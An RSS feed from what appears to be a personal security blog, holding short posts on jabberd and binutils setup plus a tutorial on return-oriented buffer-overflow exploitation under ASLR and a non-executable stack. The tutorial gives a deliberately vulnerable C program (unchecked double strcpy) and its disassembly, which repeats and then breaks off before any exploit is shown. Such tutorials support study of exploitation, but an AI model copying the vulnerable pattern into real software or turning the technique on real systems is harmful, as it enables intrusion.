<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>divine-protection.com</title>
	<atom:link href="http://divine-protection.com/wordpress/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://divine-protection.com/wordpress</link>
	<description>security, programming, hacking</description>
	<lastBuildDate>Thu, 12 Jan 2012 23:42:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Jabberd on Debian</title>
		<link>http://divine-protection.com/wordpress/?p=35</link>
		<comments>http://divine-protection.com/wordpress/?p=35#comments</comments>
		<pubDate>Thu, 12 Jan 2012 23:42:18 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[jabberd]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=35</guid>
		<description><![CDATA[When we setup &#8220;jabberd&#8221; on latest Ubuntu/Debian, we cannot find the jabber.cfg file as it is shown in the Debian administration guide (http://www.debian-administration.org/articles/42) Instead of modifying jabber.cfg, we need to modify /etc/default/jabberd14 file. In the file, just modify the HOSTNAME field to refer to your host. This setup resolves &#8220;Internal Delivery Error&#8221; problem.]]></description>
			<content:encoded><![CDATA[<p>When we setup &#8220;jabberd&#8221; on latest Ubuntu/Debian, we cannot find the jabber.cfg file as it is shown in the Debian administration guide (http://www.debian-administration.org/articles/42)</p>
<p>Instead of modifying jabber.cfg, we need to modify <strong>/etc/default/jabberd14</strong> file. In the file, just modify the HOSTNAME field to refer to your host.</p>
<p>This setup resolves &#8220;Internal Delivery Error&#8221; problem.</p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=35</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogging</title>
		<link>http://divine-protection.com/wordpress/?p=25</link>
		<comments>http://divine-protection.com/wordpress/?p=25#comments</comments>
		<pubDate>Thu, 01 Sep 2011 07:28:13 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=25</guid>
		<description><![CDATA[Ah&#8230; my server was down for about 4 months, and also I deleted (by mistake) most of my old posts. Thankfully, I could get some old posts from my google Buzz. Thanks Google Buzz!]]></description>
			<content:encoded><![CDATA[<p>Ah&#8230; my server was down for about 4 months, and also I deleted (by mistake) most of my old posts. Thankfully, I could get some old posts from my google Buzz.</p>
<p>Thanks Google Buzz!</p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=25</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Compiling binutils on Mac OS X</title>
		<link>http://divine-protection.com/wordpress/?p=31</link>
		<comments>http://divine-protection.com/wordpress/?p=31#comments</comments>
		<pubDate>Thu, 02 Dec 2010 15:10:07 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=31</guid>
		<description><![CDATA[Recently, I had to compile binutils on Mac OS X, and figured out that some people might benefit from this summary. Here are some facts that we have to know when we compile binutils on Mac OS X. 1. Format string patch Basically, you will not be able to build it (under latest Mac OS [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I had to compile binutils on Mac OS X, and figured out that some people might benefit from this summary. Here are some facts that we have to know when we compile binutils on Mac OS X.</p>
<p>1. Format string patch<br />
Basically, you will not be able to build it (under latest Mac OS X and XCode), because of warning messages:</p>
<blockquote><p>warning: format not a string literal and no format arguments.</p></blockquote>
<p>This is due to the &#8220;gcc&#8221;&#8216;s format string vulnerability checking. I checked the latest version of binutils (2.20.1), but string format patch is still not done. I tried to patch it manually, but there were so many spots! So, just use <strong>&#8211;disable-werror</strong> option to ignore the warnings.</p>
<p>2. Libiberty option<br />
By default, libiberty headers are not going to be installed into $(prefix)/include dir. Thus I use libiberty libraries; I need to add <strong>&#8211;enable-install-libiberty</strong> option.</p>
<p>3. 32-bit compilation<br />
By default, binutils are compiled into 64-bit binary on my Mac. (because it just follows the machine&#8217;s architecture). Since my ocaml compiler only support 32-bit on Mac, I have to compile the binutils in 32-bit mode as well. I use <strong>CC=&#8221;gcc -arch i386&#8243; CXX=&#8221;g++ -arch i386&#8243;</strong> option.</p>
<p>4. Target option<br />
If you just build without target option, your binutils (including objdump) can only run on &#8220;Mach&#8221; binary. Thus, I give a target option to deal with other interesting binaries: <strong>&#8211;enable-targets=i386-elf,i386-pe</strong>.</p>
<p>All in all, this is my configuration option <img src='http://divine-protection.com/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<blockquote><p>./configure CC=&#8221;gcc -arch i386&#8243; CXX=&#8221;g++ -arch i386&#8243; &#8211;disable-werror &#8211;enable-install-libiberty &#8211;enable-targets=i386-elf,i386-pe</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=31</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Advanced Return-Oriented Exploit</title>
		<link>http://divine-protection.com/wordpress/?p=20</link>
		<comments>http://divine-protection.com/wordpress/?p=20#comments</comments>
		<pubDate>Wed, 05 May 2010 06:55:09 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=20</guid>
		<description><![CDATA[This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc. A vulnerable program that I am going to use is [...]]]></description>
			<content:encoded><![CDATA[<p>This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.</p>
<p>A vulnerable program that I am going to use is a modified version of gera&#8217;s in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:</p>
<div class="c">
<ol>
<li class="li1">
<div class="de1"><span class="co2">#include &lt;string.h&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co2">#include &lt;stdlib.h&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co2">#include &lt;stdio.h&gt;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">int</span> func<span class="br0">(</span><span class="kw4">char</span> <span class="sy0">*</span>msg<span class="br0">)</span> <span class="br0">{</span></div>
</li>
<li class="li1">
<div class="de1">    <span class="kw4">char</span> buf<span class="br0">[</span><span class="nu0">80</span><span class="br0">]</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">    strcpy<span class="br0">(</span>buf<span class="sy0">,</span>msg<span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">    buf<span class="br0">[</span><span class="nu0">0</span><span class="br0">]</span> <span class="sy0">=</span> toupper<span class="br0">(</span>buf<span class="br0">[</span><span class="nu0">0</span><span class="br0">]</span><span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li2">
<div class="de2">    strcpy<span class="br0">(</span>msg<span class="sy0">,</span>buf<span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">    <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">(</span><span class="st0">&#8220;Caps: %s<span class="es1">\n</span>&#8220;</span><span class="sy0">,</span>msg<span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">    exit<span class="br0">(</span><span class="nu0">1</span><span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">int</span> main<span class="br0">(</span><span class="kw4">int</span> argv<span class="sy0">,</span> <span class="kw4">char</span><span class="sy0">**</span> argc<span class="br0">)</span> <span class="br0">{</span></div>
</li>
<li class="li1">
<div class="de1">    func<span class="br0">(</span>argc<span class="br0">[</span><span class="nu0">1</span><span class="br0">]</span><span class="br0">)</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">}</span></div>
</li>
</ol>
</div>
<p>&nbsp;</p>
<h2>1. Vulnerability</h2>
<p>There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:</p>
<div class="asm">
<ol>
<li class="li1">
<div class="de1"><span class="co2">080484b4</span> &lt;func&gt;<span class="sy0">:</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b4<span class="sy0">:</span>       <span class="nu0">55</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b5<span class="sy0">:</span>       <span class="nu0">89</span> e5                   <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">esp</span><span class="sy0">,%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b7<span class="sy0">:</span>       <span class="nu0">83</span> ec <span class="nu0">58</span>                <span class="kw1">sub</span>    $<span class="nu0">0&#215;58</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> 80484ba<span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484bd<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c1<span class="sy0">:</span>       8d <span class="nu0">45</span> b0                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c4<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c7<span class="sy0">:</span>       e8 <span class="nu0">04</span> ff ff ff          <span class="kw1">call</span>   80483d0 &lt;strcpy@plt&gt;</div>
</li>
<li class="li2">
<div class="de2"> 80484cc<span class="sy0">:</span>       <span class="nu0">0f</span> b6 <span class="nu0">45</span> b0             movzbl <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d0<span class="sy0">:</span>       <span class="nu0">0f</span> be c0                movsbl <span class="sy0">%</span><span class="kw3">al</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d3<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d6<span class="sy0">:</span>       e8 d5 fe ff ff          <span class="kw1">call</span>   80483b0 &lt;toupper@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"> 80484db<span class="sy0">:</span>       <span class="nu0">88</span> <span class="nu0">45</span> b0                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">al</span><span class="sy0">,-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span></div>
</li>
<li class="li2">
<div class="de2"> 80484de<span class="sy0">:</span>       8d <span class="nu0">45</span> b0                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e1</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e5</span><span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e8</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484eb<span class="sy0">:</span>       e8 e0 fe ff ff          <span class="kw1">call</span>   80483d0 &lt;strcpy@plt&gt;</div>
</li>
<li class="li2">
<div class="de2"> 80484f0<span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484f3<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484f7<span class="sy0">:</span>       c7 <span class="nu0">04</span> <span class="nu0">24</span> <span class="nu0">00</span> <span class="nu0">86</span> <span class="nu0">04</span> <span class="nu0">08</span>    movl   $<span class="nu0">0&#215;8048600</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484fe<span class="sy0">:</span>       e8 <span class="kw4">dd</span> fe ff ff          <span class="kw1">call</span>   <span class="nu0">80483e0</span> &lt;printf@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048503</span><span class="sy0">:</span>       c7 <span class="nu0">04</span> <span class="nu0">24</span> <span class="nu0">01</span> <span class="nu0">00</span> <span class="nu0">00</span> <span class="nu0">00</span>    movl   $<span class="nu0">0&#215;1</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li2">
<div class="de2"> 804850a<span class="sy0">:</span>       e8 e1 fe ff ff          <span class="kw1">call</span>   80483f0 &lt;<span class="kw4">exit</span>@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"><span class="co2">0804850f</span> &lt;main&gt;<span class="sy0">:</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">804850f</span><span class="sy0">:</span>       8d 4c <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">lea</span>    <span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048513</span><span class="sy0">:</span>       <span class="nu0">83</span> e4 f0                <span class="kw1">and</span>    $<span class="nu0">0xfffffff0</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048516</span><span class="sy0">:</span>       ff <span class="nu0">71</span> fc                pushl  <span class="sy0">-</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048519</span><span class="sy0">:</span>       <span class="nu0">55</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 804851a<span class="sy0">:</span>       <span class="nu0">89</span> e5                   <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">esp</span><span class="sy0">,%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 804851c<span class="sy0">:</span>       <span class="nu0">51</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> 804851d<span class="sy0">:</span>       <span class="nu0">83</span> ec <span class="nu0">14</span>                <span class="kw1">sub</span>    $<span class="nu0">0&#215;14</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048520</span><span class="sy0">:</span>       8b <span class="nu0">41</span> <span class="nu0">04</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048523</span><span class="sy0">:</span>       <span class="nu0">83</span> c0 <span class="nu0">04</span>                <span class="kw1">add</span>    $<span class="nu0">0&#215;4</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048526</span><span class="sy0">:</span>       8b <span class="nu0">00</span>                   <span class="kw1">mov</span>    <span class="br0">(</span><span class="sy0">%</span><span class="kw3">eax</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048528</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 804852b<span class="sy0">:</span>       e8 <span class="nu0">84</span> ff ff ff          <span class="kw1">call</span>   80484b4 &lt;func&gt;</div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048530</span><span class="sy0">:</span>       <span class="nu0">83</span> c4 <span class="nu0">14</span>                <span class="kw1">add</span>    $<span class="nu0">0&#215;14</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048533</span><span class="sy0">:</span>       <span class="nu0">59</span>                      <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048534</span><span class="sy0">:</span>       5d                      <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048535</span><span class="sy0">:</span>       8d <span class="nu0">61</span> fc                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048538</span><span class="sy0">:</span>       c3                      <span class="kw1">ret</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co2">080484b4</span> &lt;func&gt;<span class="sy0">:</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b4<span class="sy0">:</span>       <span class="nu0">55</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b5<span class="sy0">:</span>       <span class="nu0">89</span> e5                   <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">esp</span><span class="sy0">,%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 80484b7<span class="sy0">:</span>       <span class="nu0">83</span> ec <span class="nu0">58</span>                <span class="kw1">sub</span>    $<span class="nu0">0&#215;58</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> 80484ba<span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484bd<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c1<span class="sy0">:</span>       8d <span class="nu0">45</span> b0                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c4<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484c7<span class="sy0">:</span>       e8 <span class="nu0">04</span> ff ff ff          <span class="kw1">call</span>   80483d0 &lt;strcpy@plt&gt;</div>
</li>
<li class="li2">
<div class="de2"> 80484cc<span class="sy0">:</span>       <span class="nu0">0f</span> b6 <span class="nu0">45</span> b0             movzbl <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d0<span class="sy0">:</span>       <span class="nu0">0f</span> be c0                movsbl <span class="sy0">%</span><span class="kw3">al</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d3<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484d6<span class="sy0">:</span>       e8 d5 fe ff ff          <span class="kw1">call</span>   80483b0 &lt;toupper@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"> 80484db<span class="sy0">:</span>       <span class="nu0">88</span> <span class="nu0">45</span> b0                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">al</span><span class="sy0">,-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span></div>
</li>
<li class="li2">
<div class="de2"> 80484de<span class="sy0">:</span>       8d <span class="nu0">45</span> b0                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;50</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e1</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e5</span><span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">80484e8</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484eb<span class="sy0">:</span>       e8 e0 fe ff ff          <span class="kw1">call</span>   80483d0 &lt;strcpy@plt&gt;</div>
</li>
<li class="li2">
<div class="de2"> 80484f0<span class="sy0">:</span>       8b <span class="nu0">45</span> <span class="nu0">08</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> 80484f3<span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">44</span> <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484f7<span class="sy0">:</span>       c7 <span class="nu0">04</span> <span class="nu0">24</span> <span class="nu0">00</span> <span class="nu0">86</span> <span class="nu0">04</span> <span class="nu0">08</span>    movl   $<span class="nu0">0&#215;8048600</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 80484fe<span class="sy0">:</span>       e8 <span class="kw4">dd</span> fe ff ff          <span class="kw1">call</span>   <span class="nu0">80483e0</span> &lt;printf@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048503</span><span class="sy0">:</span>       c7 <span class="nu0">04</span> <span class="nu0">24</span> <span class="nu0">01</span> <span class="nu0">00</span> <span class="nu0">00</span> <span class="nu0">00</span>    movl   $<span class="nu0">0&#215;1</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li2">
<div class="de2"> 804850a<span class="sy0">:</span>       e8 e1 fe ff ff          <span class="kw1">call</span>   80483f0 &lt;<span class="kw4">exit</span>@plt&gt;</div>
</li>
<li class="li1">
<div class="de1"><span class="co2">0804850f</span> &lt;main&gt;<span class="sy0">:</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">804850f</span><span class="sy0">:</span>       8d 4c <span class="nu0">24</span> <span class="nu0">04</span>             <span class="kw1">lea</span>    <span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048513</span><span class="sy0">:</span>       <span class="nu0">83</span> e4 f0                <span class="kw1">and</span>    $<span class="nu0">0xfffffff0</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048516</span><span class="sy0">:</span>       ff <span class="nu0">71</span> fc                pushl  <span class="sy0">-</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048519</span><span class="sy0">:</span>       <span class="nu0">55</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
